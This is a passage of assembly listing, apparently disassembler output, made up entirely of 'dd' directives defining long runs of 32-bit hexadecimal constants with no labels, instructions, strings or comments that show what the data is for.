		dd 0F50994AAh, 117F102Eh, 0F23156B3h, 0E67E2B35h, 7A101882h
		dd 998EE7Bh, 31327DE1h,	0D43512F5h, 0AFDDEA6Fh,	0FB6B14D5h
		dd 2AB6E901h, 0DBBD8900h, 9D19133Fh, 9B9A798Bh,	2CDC480h
		dd 48E47CBDh, 58AD570Bh, 81618731h, 0AB3E41D0h,	0EDC12506h
		dd 0F4132E50h, 24ACD76Fh, 8ED0EED7h, 0BD4B71CAh, 0CE65C9F8h
		dd 2DAF010Dh, 0EAB502DAh, 0B4BA2D04h, 899F9EE6h, 67385F9Fh
		dd 0B99601C6h, 1BF582E9h, 16DD5183h, 1DD9BF55h,	0AE5ADF67h
		dd 7CB29953h, 3AF03D97h, 8820BFADh, 0B73C3C98h,	0FCB093B3h
		dd 692DEF3h, 4A07BF15h,	18417598h, 2B7EC561h, 25E91750h
		dd 6AA6DBF1h, 1FCF1338h, 3BF09045h, 272C1355h, 0BEFE74BFh
		dd 900DC920h, 0D17D5051h, 27D39EEBh, 1F831462h,	0E0EDFDD5h
		dd 0F59A246Bh, 0A60CEFFCh, 0C2E4443h, 991A1258h, 3841FF35h
		dd 708A4F32h, 30E96420h, 4686018h, 512459ABh, 0AD17DDB1h
		dd 534E25CAh, 26D3E8AEh, 7B80C250h, 0E7816735h,	605971AEh
		dd 0F4DD7474h, 5E95E5A6h, 951964Eh, 5A567046h, 0BB2E0C6Dh
		dd 0C1C1BC67h, 42D02744h, 95E9EC29h, 0F6230BDFh, 0D1F7D285h
		dd 19735A43h, 39800517h, 30680DBFh, 0AD343543h,	5060FA5Ah
		dd 0C41066D0h, 0D8098005h, 0D095EA25h, 0D0E9137Bh, 964BEC84h
		dd 0CA203404h, 9975CCAFh, 4C044440h, 0E97B8892h, 942F3EF5h
		dd 1058F9E1h, 291DA442h, 0D0F1D6E8h, 0DD3AF2A6h, 0EAF79F77h
		dd 0D6875CC8h, 382D4A78h, 0F6987FCFh, 0DCB5ADC5h, 0E3C94772h
		dd 0C046A4Bh, 11C52CACh, 68B014EAh, 9252EC0Bh, 0D4BF0F82h
		dd 1C92D7E5h, 20EF5CD0h, 61C8123Eh, 0E5184458h,	2BB41393h
		dd 151B0CC1h, 0AFCC787Eh, 442C5B83h, 128C94A9h,	4F85E6AEh
		dd 83F400B9h, 3A5F7579h, 625F2DAFh, 606725C9h, 0EF469644h
		dd 2B923FEDh, 6B6081F1h, 0F850DD1Dh, 0F9A8C646h, 622E02E7h
		dd 9916097Ch, 510CB160h, 806A4CF1h, 633C0B05h, 557CC225h
		dd 2DC89CFFh, 25D502EFh, 0A2FE5E8Fh, 1B85D7D6h,	0B7C41304h
		dd 0D9C4400Eh, 9351FD71h, 214244ABh, 4E44AF0Eh,	0FBEDF620h
		dd 2605C201h, 0A7C6BF30h, 0E9C1010Bh, 4F3B4F3Ah, 0C104CC0Ch
		dd 60D9F5C4h, 47C0C089h, 0A84143BAh, 4F33F47Ah,	24282D5Ch
		dd 6741AA5Ch, 4B47BA2Ah, 6B9EA3D9h, 5A2DD401h, 2BA3D27Dh
		dd 0BDDCB67Ch, 0E4814B75h, 5B70F111h, 79B2FEBFh, 3500E6F8h
		dd 5E16DD0Eh, 3A03F1D1h, 0FBD23A1Ch, 12E9BB0h, 0FF5F1EA3h
		dd 0AFDDE930h, 0A3075537h, 6A9B0248h, 90F2A882h, 0AFDF28D7h
		dd 28BE3A12h, 6495295Eh, 0D03C0543h, 8F895483h,	0AFA52A77h
		dd 50CC585Eh, 257E40F0h, 385C0100h, 5D8F75Dh, 3D0F0319h
		dd 734F2D11h, 0E6E99FD1h, 0E2571BEAh, 0D46D75E5h, 0C131D627h
		dd 0BBCADEE9h, 8E934CA7h, 5AC9E058h, 0C03B980Bh, 0E601F60Ch
		dd 2B2AE932h, 26ECF23Ch, 80766E49h, 7CC527E2h, 0F0EB4B31h
		dd 18160CDFh, 2BB0DD6h,	3AEF68B9h, 0EB606FF6h, 1375CC14h
		dd 377D28E9h, 0E7F68280h, 0BF84C80h, 0F3993DD1h, 49D64800h
		dd 0FCF09D9h, 8E7C159h,	4583DFC9h, 778019F4h, 8102EED1h
		dd 3A521EF6h, 0E996E172h, 0CB76EAh, 96542705h, 0E03AC12Dh
		dd 0F8D0607h, 4E5E51B1h, 91ACAD5Bh, 0FE12CAD6h,	209872A5h
		dd 96B542A4h, 958AFEB3h, 0F8781055h, 84250FBEh,	0A0E9DA29h
		dd 685C12C0h, 4E9721FEh, 61043117h, 0BD8F2349h,	6B12150Ah
		dd 4A5881BAh, 0F6E20FAEh, 0E8821278h, 2CA25A11h, 0A0A16CCBh
		dd 6BFE0159h, 4FFA2A66h, 5BC16C9h, 0F88C8F28h, 0FCEADD7Bh
		dd 7C4DBA0Bh, 1A5E836Bh, 0E3632495h, 0D67A0BC4h, 5209BF10h
		dd 0D82B702Dh, 8E050201h, 31BA713Bh, 0BB2124F5h, 2D2F2F2h
		dd 0FE685EEBh, 0E6884CFEh, 54BE0107h, 470E7A62h, 2CE4C3CDh
		dd 1DA2AB84h, 334C68C2h, 0EBC698FDh, 11BC165h, 0BF105161h
		dd 27CBA0E6h, 0CBF11C8Bh, 27ED0365h, 5F5AE302h,	0E4813C34h
		dd 30293FB8h, 0B54D7Ah,	2A230D69h, 482E4C12h, 93B1A20h
		dd 0E63499F5h, 86F5722h, 20265882h, 5EA29F09h, 0BAA6944Eh
		dd 0EAF7A125h, 0DACA5D4Bh, 0C85D9A62h, 9A0DE9E6h, 4E5562F8h
		dd 985E4465h, 31E1363h,	4C3CC253h, 0C05742Ch, 53125799h
		dd 0B64303C0h, 7A1F4CD0h, 316A4C00h, 0E9D3296Dh, 3EADBB35h
		dd 6D445717h, 0EAC97DF2h, 95067F0h, 3F68699Ah, 8930D17Dh
		dd 89A46A9Ch, 6397C0FAh, 7F4CA309h, 0F0702D14h,	0B6544F2Ch
		dd 701E8BAEh, 0BBFEBFD6h, 27AE0173h, 29633720h,	0EF6560C3h
		dd 8DEFE24Bh, 8B81E92Fh, 0DDF389B1h, 2113B596h,	71A21C5Fh
		dd 0E2180117h, 312578EDh, 83C9D9A7h, 23BE12FDh,	40760C04h
		dd 588015E6h, 0F1CE7537h, 17FBBC15h, 43121A07h,	0C1327F20h
		dd 0E9F913EEh, 1256BC51h, 2FDE5B54h, 7E9EE90Ah,	0CCF19DA5h
		dd 0E6D137D3h, 699496B8h, 27236D25h, 0CA1CC65Eh, 503F4F0Fh
		dd 68522201h, 31D589CFh, 79C22CF3h, 0F17B4027h,	0B1C5C4B9h
		dd 0C3C9526Ah, 834A2B58h, 5D05E172h, 51090058h,	0B017AE68h
		dd 3C65344Eh, 0B95E7AADh, 0E1D184B3h, 9AAF7A0h,	4F7DB31Ah
		dd 0A0C06704h, 0E648BDDBh, 0BB0E28F8h, 3C2D76E4h, 7323E079h
		dd 180F6520h, 5BAC5AFh,	0E95DE8E8h, 37129389h, 92851D13h
		dd 0CDC8F312h, 6C745137h, 84F52B44h, 90AB0CA7h,	0EECD9304h
		dd 0FABDE766h, 42415A6Dh, 0D301C927h, 2A0CD9E1h, 41E80856h
		dd 1278E95Eh, 44FB9C68h, 0BD5FCD9h, 2F2AF8C0h, 69591460h
		dd 76D4CA47h, 6C2BCEE1h, 1B2EE94Dh, 3BA68225h, 505A9703h
		dd 8FD0AD28h, 27E1D8F1h, 83DF3F9Ah, 3E80194Dh, 0B8DB3130h
		dd 90FCD2B0h, 0A027A904h, 8247C071h, 7D601056h,	1EB8BA46h
		dd 4B0501EBh, 0E972F96Fh, 0ED06CCFh, 12467E68h,	13F1F7EBh
		dd 13F9A8E9h, 15772F76h, 5BEB8CD1h, 9CE40B48h, 0C18085A1h
		dd 0EFCBC123h, 0B0B8ABBCh, 805F5484h, 9C40F6C2h, 7FC375Ah
		dd 2160DF27h, 0C009E2B3h, 905005E3h, 0B49B2163h, 0B9094F63h
		dd 5B4A1750h, 0E82BCBDDh, 8A0C61D4h, 0F07ED71Ah, 0A02068Ch
		dd 9BE91C63h, 78367573h, 0FD27D2B9h, 44B77016h,	7AB9059Dh
		dd 4D3358h, 15B4B6E0h, 0F2C52909h, 0A3EC0C08h, 1FD48DEh
		dd 6FD66804h, 5100ADA2h, 6BB71EB5h, 0F4A1EF28h,	0C0F83F20h
		dd 3ADCDF0h, 68741604h,	1985E2Bh, 17200359h, 886E94Eh
		dd 275A1A2Dh, 4CB2CD6Eh, 689BA1AEh, 312F13B7h, 3C614666h
		dd 0CDEF4A25h, 688708D7h, 0F2A2E6F5h, 19D737A2h, 172B3C4Eh
		dd 6B6BF676h, 0EFB8D539h, 0CBCB3D28h, 0BD605EEBh, 21CF9397h
		dd 3EFE055Dh, 8D892534h, 0F0D7C82Ah, 0D36E605Ch, 7020D5F1h
		dd 0FF479771h, 83CA9828h, 5D16EB5Bh, 0D137DF0Dh, 0C6DCF37Fh
		dd 4BE99F37h, 0A214D632h, 299A9A49h, 0FA8BEF5Dh, 0E2497E7Ah
		dd 6DD9CA01h, 763B6861h, 55F9F7C2h, 0FF9425C2h,	0AC2F26C6h
		dd 0B61BE8AEh, 61C1064Bh, 8C43DBF7h, 0D1B32BF7h, 0A278D7DFh
		dd 1A79848Dh, 0E004E2A3h
		dd 0F03CF661h, 802DE907h, 0F474209Eh, 9D4C3931h, 72B0C17Ah
		dd 0AD4F6D92h, 430544A6h, 0A0342547h, 0F80E2D3Eh, 0A0744258h
		dd 520B081Eh, 5D82829h,	811F9807h, 0E9D40112h, 92944Ah
		dd 2F4CEFB8h, 0B60E3510h, 0A51B5E28h, 5AA07101h, 1297F8D0h
		dd 0BB724A32h, 418A796h, 753D1F05h, 4D6CBC30h, 0EF087511h
		dd 7D1764h, 48511D4Fh, 0B64EFFE9h, 6B0AA441h, 9D717121h
		dd 0AA82C6F4h, 7224FDF0h, 0B97EE0D4h, 0B71A3A02h, 77D1F744h
		dd 37AAD3E0h, 12399B20h, 98BCA21h, 0DB5A92BAh, 7C4F94ECh
		dd 2B5069EBh, 0E3C40FBEh, 7C8821FCh, 28973E5Fh,	0FEBC8D23h
		dd 0D01CA328h, 542D05DFh, 4B25843Ah, 2B82EAE9h,	64861EFh
		dd 91F938E0h, 87DAA79Ah, 9B8BDA2Dh, 77EC18C9h, 35BF5C9Dh
		dd 1D190713h, 0C7122817h, 8573E7EBh, 0F6AC5EF1h, 23E4AB92h
		dd 207762FFh, 30FF6DB1h, 5BA46867h, 5A4F8A39h, 543219F9h
		dd 647686CCh, 5F32A4BCh, 0F1B2F86Fh, 0F79FC05Fh, 369F7EC5h
		dd 660E4760h, 0B5937F01h, 2F593761h, 0E69F69EBh, 0A367DD02h
		dd 0A0B85030h, 980B4635h, 0D43A41E1h, 0C9D75EAFh, 0A52263D2h
		dd 9EF4AD1h, 8C01C10h, 10531768h, 795A25EBh, 2C25BB32h
		dd 0B6BCD5Dh, 78F66650h, 7F857051h, 9D4A4B68h, 0FEFC61CCh
		dd 0C40C3EF2h, 0C55F121h, 2971185Bh, 18E9810Bh,	29F2875Ah
		dd 2B2D6248h, 28C2F2A0h, 5FFA2305h, 5A02031Fh, 20BAE1D7h
		dd 0E426A39Ch, 2CFE255Bh, 8540CF6Eh, 9750905Ch,	0FD9686D6h
		dd 0E0FE9B85h, 0C240ED87h, 82B02550h, 412E6450h, 7AACC480h
		dd 47937C21h, 939B1157h, 14323A51h, 3B5DDC10h, 0AF10175Bh
		dd 991CAEF4h, 0C1ED0986h, 0F48FC6F7h, 488B9567h, 0B48263FBh
		dd 432D8874h, 8B7298FAh, 49CAEA56h, 7886DA98h, 5C4F10A0h
		dd 0CAFBD212h, 0DC8E5E74h, 0E04826Bh, 107C147Bh, 83140F96h
		dd 627AF7EEh, 9B2EB97Fh, 0DF03720Ah, 0DA63294Ah, 0A189FD24h
		dd 0C1C9737Dh, 939054E9h, 940FC5B7h, 0A0CE4BEEh, 6C1AB801h
		dd 2D2B0447h, 0BF74F2FEh, 66E97E90h, 84DB3BBh, 80058476h
		dd 81BE10CFh, 6FA31E63h, 0A0109EDh, 5255C053h, 2E979BAh
		dd 0E4E9D529h, 0D5A0DD2Dh, 0A61862B8h, 4425777Ch, 43D8DC4Bh
		dd 0EB991EF3h, 0CCC3D8A5h, 0D1E60858h, 96EC4ECEh, 0F030E508h
		dd 88102C06h, 0B4745F8Ah, 0AC0AC9CFh, 0DF5EFC38h, 0FF7FFD07h
		dd 724F0922h, 0B0595026h, 73D3883Ch, 0AB00D582h, 1A2672E6h
		dd 0F28BB01h, 0F3313008h, 0C4C34C9Fh, 0C206402Fh, 0C7596B64h
		dd 3D766E82h, 18097F2Ch, 8D83E2FEh, 0DA4E72D0h,	0A2765DDAh
		dd 11F45F72h, 97502F51h, 4A2B850Fh, 33C8D240h, 0E5518F5h
		dd 84A69972h, 95A0E953h, 0B952EB71h, 0A380C4BAh, 0AA2129E8h
		dd 0DC0BE986h, 8D515832h, 666E3E06h, 0EC983C69h, 57656425h
		dd 9158EE60h, 504800E1h, 2E787A4Dh, 4B1F1534h, 0B839B664h
		dd 4CC59203h, 0F129FE45h, 480BC510h, 502B2DE3h,	0DADDBCFCh
		dd 214B084h, 0FDF58859h, 80863245h, 0B00683EDh,	0E9E81EDFh
		dd 6598AA4Ch, 0AA893F3Eh, 0BDC976A2h, 547710DDh, 0F1498A25h
		dd 42126A7Fh, 0F524D9EBh, 5A4A640Dh, 50745748h,	605F4DBAh
		dd 375DFEh, 18543AE1h, 0C35FE6E9h, 15D5B2D5h, 662D0D9Ah
		dd 7620F7F2h, 0DC5A85Bh, 4C0CF022h, 538B140h, 476DDE81h
		dd 3BB0E7E9h, 96102BB3h, 35480098h, 22E07FAEh, 279FBC01h
		dd 7402B774h, 82411F60h, 0FD46D5FEh, 0BF00A61Ch, 68E24344h
		dd 0C0A140E9h, 3828F327h, 294EF1BCh, 73FADA05h,	891FF6E6h
		dd 0C73A09DEh, 0A78C4557h, 967D7EA2h, 3A089C79h, 4B431F88h
		dd 2ED3F53Dh, 0F7DE5309h, 832A0AC5h, 0EA283620h, 0B206288h
		dd 0B4FD184Ch, 67212088h, 9AE2801Ch, 0A77DEADEh, 0F01589A4h
		dd 0CB6E9F23h, 0DDDB6E2Fh, 0A7DAF833h, 0ADBBA1A0h, 6465755Dh
		dd 0E7F53DCCh, 0C6A5C2DFh, 0B17CD230h, 94E87E3Eh, 0CAE068A1h
		dd 8E8DC39Ah, 448B2B70h, 40D32252h, 6051FAC0h, 699D470Bh
		dd 8F7403B7h, 0FD70162Dh, 6882A0A4h, 0D113F12Fh, 16A38EB1h
		dd 1CDCEF12h, 0D2789D50h, 5CC44A25h, 6F086B7Bh,	0A8C792E1h
		dd 2D7B24D4h, 46AB5816h, 428E4AA2h, 5600294Ah, 0BDF21F9h
		dd 28AB05Ah, 73663C6h, 98C2FD01h, 0C3D4080Bh, 82242CC4h
		dd 0F7E55BAh, 6FB416C4h, 92A9EEE5h, 0F6591F7Fh,	5C6ACBDDh
		dd 0F8088EFBh, 4A905A3Ah, 5681D001h, 0F57A0171h, 98A47B9Ah
		dd 64E82DE9h, 0A1BA9457h, 0B700F8D8h, 0EF3980C0h, 45F79FE6h
		dd 17416453h, 0A967F181h, 8600C044h, 69F65AE5h,	2575FE9h
		dd 750C683Bh, 0E3BF4266h, 8787B3FAh, 66CFF50Ah,	7163872h
		dd 0CC8018B4h, 7CF437E8h, 0E91B080Ch, 0B2CBE283h, 1926F4CBh
		dd 0B732E630h, 50E40D06h, 0FB5BE7ACh, 17EA3275h, 4762BACDh
		dd 0BA52041Ch, 43A9AC12h, 3F17098Dh, 32684628h,	0E62773FDh
		dd 76C009D7h, 512F5645h, 58AE025Fh, 5DE1C20Fh, 2906ADBCh
		dd 6CBCE9D9h, 0CD212E0Eh, 7AFE8036h, 8725184Dh,	78514305h
		dd 6983E8C1h, 2317E5E3h, 95E42F9h, 0DBABAEF6h, 68AF685Fh
		dd 0AD4B4F37h, 70538F6Bh, 8870492h, 0CB27BB72h,	794475E2h
		dd 59AD83D9h, 0C2052B70h, 50FE3682h, 29EC8C80h,	0CF117B8Dh
		dd 1638D144h, 357070AFh, 449802BFh, 0E7BBAFA1h,	77098C3Bh
		dd 0F225B453h, 0A64F209Dh, 0A35BF07h, 99A33842h, 0BA145AA2h
		dd 8C52071Eh, 0CE5C2A82h, 0B2C2D6Fh, 89BE9771h,	0C643BF68h
		dd 19D90248h, 8BE95A35h, 5B07AF54h, 0F782E32Ch,	4475290Ah
		dd 1874B93h, 256FBA8Ah,	0AD68CDB1h, 82855671h, 0C230E77h
		dd 0D20DE3FFh, 4C0AAA04h, 55A1F200h, 164A291Ch,	0FFE33FE9h
		dd 4B190BCCh, 0BF57526Fh, 0A0EC2985h, 0C349AAA4h, 16617651h
		dd 523D3058h, 0D0E089B2h, 0DDF85A76h, 45249360h, 0C1EE87h
		dd 0F68102E6h, 0D41808ECh, 5E0B6AB8h, 0B3489868h, 0C1BA0432h
		dd 0FA5A0879h, 703A984h, 62A827E9h, 99BC0C54h, 0E6940209h
		dd 4A6CDD8Dh, 7F78EF20h, 5F5A2754h, 0C893A6Ah, 1089A9FDh
		dd 9DC3AC5Bh, 0A76A22FEh, 6EC6B27h, 0ED75BE82h,	303E0C37h
		dd 341AC73h, 1EE95702h,	60EB6ADAh, 0C94E1DDCh, 11064242h
		dd 52B7DB12h, 542B0EAEh, 0EFC070E5h, 0AB75B72Fh, 1C066690h
		dd 29304562h, 420882A3h, 0AF79EFE5h, 546E1477h,	781BE0Fh
		dd 0D113BEE5h, 0A939B375h, 342D1612h, 617AA30Ch, 0D2B7FC55h
		dd 8ACCAE1Dh, 0E009772h, 7169E3BDh, 0EE892F09h,	83505D5Dh
		dd 1376E604h, 0B5FB1516h, 4ACE01ABh, 9B02641h, 0DD3E9E68h
		dd 42F70F32h, 0EB27D17Eh, 8AE94B56h, 0D5092B29h, 41677C77h
		dd 3E573568h, 0FB9395F6h, 2FE9EB28h, 623A2B13h,	0E6EEAF75h
		dd 7660A7C3h, 635F2F48h, 0EEFBD923h, 75D9F9E3h,	0B9CA3BE7h
		dd 1997BE03h, 0CEE03FA8h, 5F175753h, 42BB4E06h,	0FD5EEE7Bh
		dd 0E754CCE2h, 0D4A5071Ch, 0CC776BEAh, 0C9709DCAh, 3B772B24h
		dd 0E6F1C20Eh, 2186822h, 56BB2DFDh, 0BD62FA01h,	5BDA0823h
		dd 2917AE40h, 405DEA34h, 94EF2616h, 18FB1FB3h, 0AFE66F80h
		dd 33156B18h, 2FD3FDACh, 3D58BD24h, 0ACBC0431h,	0CEC003B6h
		dd 80681659h, 3F9BD212h, 0E169714h, 5EFC852Dh, 0ACEF646Ch
		dd 0C328005Dh, 80D6B551h, 7FF778F5h, 76102DEBh,	0F30424FAh
		dd 3FCEBE52h, 0BF509BA0h, 4342C873h, 403D4A31h,	0EBEA3336h
		dd 0E7EAA12Fh, 84EFF210h, 4099EC5Eh, 0F6889081h, 0BF80F63Eh
		dd 89561DE1h, 5F555251h
		dd 370F2998h, 9365633Eh, 22E6D135h, 0EE70DB16h,	8244BA9Ch
		dd 0C8AD11DEh, 5F2BBE96h, 3656EEB8h, 0F21400BBh, 4F13CE22h
		dd 0F7033C94h, 0C3EFD1D7h, 5F84B081h, 8969197Fh, 4CD80FEh
		dd 49A10BFAh, 8D81D784h, 21BF2B6Dh, 6C54EF11h, 4F29467h
		dd 664A46A1h, 20BD5BDh,	0EA02D67Ch, 0AC07A472h,	29E468F1h
		dd 0FEDF853Eh, 6809A48Bh, 327F4977h, 95765D62h,	7D28A951h
		dd 30A3BB0Fh, 0E8910E5h, 2E0F2DE5h, 0C531C002h,	0FFFA27C3h
		dd 2251A87Ch, 4EB6ADFEh, 37E8E82Fh, 0B697EB5Fh,	72E9551Bh
		dd 12E7EC7Ch, 56177C90h, 3405D064h, 26D83D55h, 107402B5h
		dd 202DE92Eh, 583E2B5Dh, 0FEF264Dh, 608D1600h, 103FF4DBh
		dd 0A685AE95h, 87050D7h, 46746AF8h, 84434500h, 4A2FE92Ch
		dd 0B98BAE98h, 5B49414Ch, 2435BA00h, 0D2F74E6Bh, 3E045596h
		dd 0C983728Bh, 0DEE3F2C7h, 28BA00E7h, 0AE97847h, 0F793099Dh
		dd 0E4271DC4h, 88ABF924h, 0E9043298h, 1CF93E95h, 0FDE20E2Fh
		dd 0C139795Fh, 6AEEADE9h, 66C5D1D0h, 73B91F36h,	0E1895645h
		dd 62F01027h, 0FC5EC35Dh, 641040FBh, 29076A31h,	5D08058Ah
		dd 92CFABC3h, 92E5D5FBh, 5AB66886h, 0E1505BADh,	2F2D2AC9h
		dd 545891FAh, 5E10B92Fh, 1301ED12h, 0EFF514Bh, 0E0D69E68h
		dd 2B41AFA7h, 0A744EEDDh, 0ABF495EAh, 0E95E3330h, 0F2596D7h
		dd 0EE6582BFh, 7DD3E867h, 6C4A74Ah, 689F3BAAh, 8502982Dh
		dd 807F913Fh, 721BB38Dh, 530CD044h, 8FF1067Ch, 0C07FB2Ah
		dd 0F871BC0Ch, 2965CC3h, 0E9081F75h, 14FD5891h,	4EE1323Ch
		dd 2140D8DDh, 0AC3E109Ah, 0DA34AA3Fh, 0B5AF6CBFh, 0DC9D9294h
		dd 52DB8C81h, 96985C32h, 0B0239920h, 0F8BB4D73h, 2A4EC4Bh
		dd 5F1842FAh, 5708E25Dh, 0C6F489C2h, 9C07772h, 0A90C31FCh
		dd 0BFE683Ch, 78DBBF59h, 2A78C0A5h, 2C1348EBh, 0D5028848h
		dd 0C17BF86Fh, 2F1C215Eh, 0A3A119A7h, 907D97ADh, 5A8E683Ah
		dd 0D552304Ah, 3150870Dh, 0B7B918Fh, 95E07D62h,	0B1BB008Fh
		dd 32026145h, 820E381h,	0AEE0E087h, 9D99F9Ch, 19F35CC7h
		dd 9DEB858Eh, 0C2A02B4Ah, 35DE9F5Ch, 501AFF6Bh,	58BC63C0h
		dd 0F29E8082h, 2DD61EF6h, 0E7F44A6Eh, 675CCA81h, 208E1926h
		dd 0AF3D6FF8h, 0D1979C50h, 54E962BFh, 8827B7D0h, 0BDF376C2h
		dd 0BC534296h, 0F8ECCB95h, 59179661h, 0B39A8856h, 0B2442DFDh
		dd 8B95CDF4h, 0A915FD8Ch, 1AA0688Bh, 0D4BF8B35h, 3C91D92Dh
		dd 0C6FB4A08h, 13C0DD7h, 32C8C8F5h, 0D75A7B23h,	11E85992h
		dd 0C228EE80h, 75EE82Ch, 0BA9541FAh, 50B517C1h,	351B069Eh
		dd 0F5422A25h, 0E7391FC8h, 0CBBD4479h, 0AA8CD07h, 5EF32101h
		dd 0C20CF768h, 0A8845355h, 25BA9E19h, 0B46DE7F5h, 50C809EFh
		dd 0E88B55F1h, 0F0F6620h, 4777546Eh, 2070B8A5h,	346C3D0Dh
		dd 5FE1D48h, 143F5D4Fh,	8BB3C8ABh, 7AF93C5Eh, 58E84DB2h
		dd 56076035h, 0D8F72A0Dh, 8BEDB170h, 0F58B9597h, 0FE207B79h
		dd 0C9295495h, 0D54BF573h, 32279AC4h, 0C89BF907h, 845B512Eh
		dd 7C685C4Bh, 0E9C4C3A8h, 80BBD00Dh, 0D005C7C9h, 0BDB353E1h
		dd 0FB8F81FFh, 48C36341h, 49D4043Fh, 0BD907577h, 1C5964B7h
		dd 655AE937h, 0D5AC1CCDh, 765D262h, 0F8F2644Bh,	0BBB802D7h
		dd 757DBA50h, 31E09800h, 4EF23E03h, 17F73613h, 1EE04BAh
		dd 80A3E9D6h, 968BFC6h,	7EEEC3Bh, 635A4BE2h, 41CCD29h
		dd 7B848008h, 4200AF17h, 0A67FC435h, 4ACBE979h,	829A2714h
		dd 0E00A92E4h, 9C571117h, 0BE5A85FFh, 2AE9359Ch, 3C9E696Dh
		dd 1F25D6E5h, 0EF96FD89h, 0E626567Fh, 0D39313B7h, 28C442ABh
		dd 51550C8Bh, 57D3C97Bh, 0F6812009h, 7D3C6226h,	6805EF0Ah
		dd 1F5E3BF8h, 0E9F85053h, 1ECACC9Fh, 7C649A0Bh,	0A2A87351h
		dd 668AFA4Ah, 30243D56h, 0FA33423Bh, 9C1DD1DFh,	147D272Bh
		dd 669A27E9h, 6CA6F7C5h, 4BE97825h, 5B6D8B5Bh, 5234EDA8h
		dd 1F7DC152h, 0C2AD020Bh, 2DD55483h, 830EEF58h,	0A1522A36h
		dd 22207D79h, 0EE5EA42Bh, 0C807FA7Bh, 1C15E940h, 0A7D97F09h
		dd 17E4DBC9h, 0C473E9DDh, 2818E675h, 1C00396Eh,	0F6EB8111h
		dd 2CA7A5F2h, 70BBD829h, 4427DEB9h, 5045EC8h, 0EDBE48E9h
		dd 315B0A6Eh, 0F701E6E6h, 0A13EAFB9h, 1D3F548Eh, 0FB0174A2h
		dd 7536C5Dh, 116D429Ch,	0B54059E9h, 3AF16866h, 0B793BCE0h
		dd 0A0497973h, 1515DC1h, 2B681338h, 0BB77642Eh,	2E06D8Ch
		dd 0E909E62Ch, 7AD58F38h, 5DE30B34h, 0A0818C42h, 0F8122EF3h
		dd 495EE96Fh, 60BF5E01h, 0DDEA5E58h, 20BD9966h,	0A1AA70D7h
		dd 50DB95BDh, 0A17EF2B3h, 0F7F2062h, 51075EBh, 322263BAh
		dd 50642190h, 0E97A1214h, 7967AD82h, 2045B40Fh,	8E9F64E7h
		dd 744D76F3h, 0BEB1345Eh, 0C55F7F88h, 0FE4EBB7Dh, 2D925814h
		dd 0D1A703D9h, 5031BAEFh, 0FA5B60F0h, 13C2A3Dh,	428B880h
		dd 9EE96E9Ah, 5253000Fh, 1347B5BAh, 424922h, 99F7CF32h
		dd 0EA04813Ch, 3E715238h, 41494BBh, 0EAC8E908h,	0A3EFE412h
		dd 755ECBF0h, 0A92965C7h, 0D2022204h, 0E242830Bh, 0E198256Eh
		dd 0F7A25925h, 15BFF016h, 63E904DEh, 0A245BB6Bh, 99EBBFA4h
		dd 7EF9218Ch, 0E79D03B8h, 57025114h, 9D07A0BFh,	3320F733h
		dd 0F9598FCFh, 53B5848h, 80D4E16h, 247519EAh, 752C2B07h
		dd 624F2D53h, 64676BC0h, 37E51DCFh, 181CAEBh, 9D0AD5BBh
		dd 0E92B437Ah, 42B100CEh, 0DE891EA7h, 7EE92F5Bh, 0A504B602h
		dd 5EFA0C55h, 242D4AECh, 47B0BBF4h, 0CF8997DBh,	6A84F955h
		dd 187D5ABFh, 125056C4h, 17738668h, 48BB3201h, 3B5FE257h
		dd 0B68A1379h, 0C270F951h, 0DE10F568h, 0E8ABC936h, 0C801C5FDh
		dd 92B942EFh, 6C985005h, 0F0E99589h, 2BE96E4Fh,	3A44AF93h
		dd 0FCEABDB0h, 88EF132Ch, 0E7B3BB00h, 0C915EB80h, 48D7EC06h
		dd 536B6811h, 4D78CF7Ch, 0E913432Ah, 0F796B04Fh, 0E3A8DE50h
		dd 2D761D09h, 9D595F51h, 0C9C164Ch, 12D4C31h, 17316812h
		dd 0B0B84D1Bh, 9BEC5725h, 719BF2Bh, 76C0354Eh, 21E9C2A2h
		dd 0BA9A7F5Bh, 69199E75h, 0C3D6293Ah, 37D1260Dh, 0F7109332h
		dd 0EE2404Bh, 0E13E5941h, 3A4DF9AEh, 0C8CB7D85h, 18818425h
		dd 0F4B6525Bh, 0D2F7EED0h, 0DE5D51EAh, 0A2805AD7h, 39231160h
		dd 69D98295h, 5F50B84h,	3AC2FD33h, 7F397D7Fh, 82A935Ah
		dd 0EA5AACA2h, 0DC17121Fh, 0BF3105E0h, 5072016h, 45E9539Bh
		dd 24431E26h, 12CC5954h, 5EDCBB83h, 0A9424F61h,	5A5CF051h
		dd 0FCD25831h, 0ECBCDA29h, 5E02D9EAh, 0B2E94FD5h, 0E2E354DCh
		dd 0FC55C529h, 16E9504Fh, 7F90E44Bh, 5C882139h,	0C72D2F03h
		dd 0F495E3D8h, 49587BE4h, 1B2D12B0h, 0EF2064AAh, 36D37B80h
		dd 0AD065A54h, 778C007Eh, 56E96BA9h, 43739D2Fh,	88C0811Eh
		dd 14CBB6Dh, 0A1C1F0F1h, 98785E08h, 11D9B1h, 3E5616B8h
		dd 0FCCA5E35h, 0D7C0E471h, 2F8CF35h, 685FFD21h,	19CC1D47h
		dd 0C02BF01h, 0C31AE92Fh, 0B539BC6Ah, 12B1A6F8h, 2FA057Dh
		dd 7E99C8A3h, 0AB7C97EAh, 29BA6809h, 0CC65F719h, 688976ADh
		dd 50578CF8h, 8A71E97Dh, 0C8C5DBEh, 16EBCF8Eh, 0F8F17CC0h
		dd 1918054Fh, 3B813D83h, 1A348A78h, 0EFC12DD7h,	1B09DDD4h
		dd 9A57185h, 657E6123h,	0DDE26262h, 0B420AAC7h,	7D318881h
		dd 0AF1E3C59h, 5437EE8h, 0FAE26E3Bh, 583CD900h,	1A877DCEh
		dd 8D6F7F1h, 6E5FE800h,	490B3457h, 664EA668h, 1A0C095Ah
		dd 0ABD029F1h, 0A1793009h
		dd 0AFCC0746h, 0E97B1B60h, 0F503603Ch, 738068F1h, 7E9FF99Ah
		dd 6BE90688h, 2D07BE4Ah, 214E227Ah, 0FEC6D950h,	21F29512h
		dd 823A5DBEh, 5F09D251h, 2922535Eh, 99D7A792h, 0E9003327h
		dd 0D79A8C7Bh, 0F41A5120h, 2622BD96h, 4601498Eh, 0C06B524Eh
		dd 0F9847F9h, 530C7DB0h, 0C19346Ah, 0C35717C8h,	0F889F115h
		dd 43304AD2h, 3D950C1Ch, 2277CE9h, 739D50F6h, 0E4D6892Bh
		dd 5ADBAF3Ah, 48410106h, 0D60143B9h, 0C698405Ah, 0A625D8BEh
		dd 0AFBC8515h, 0CED11C97h, 12FD6E55h, 0B1A77AEDh, 0BC59A505h
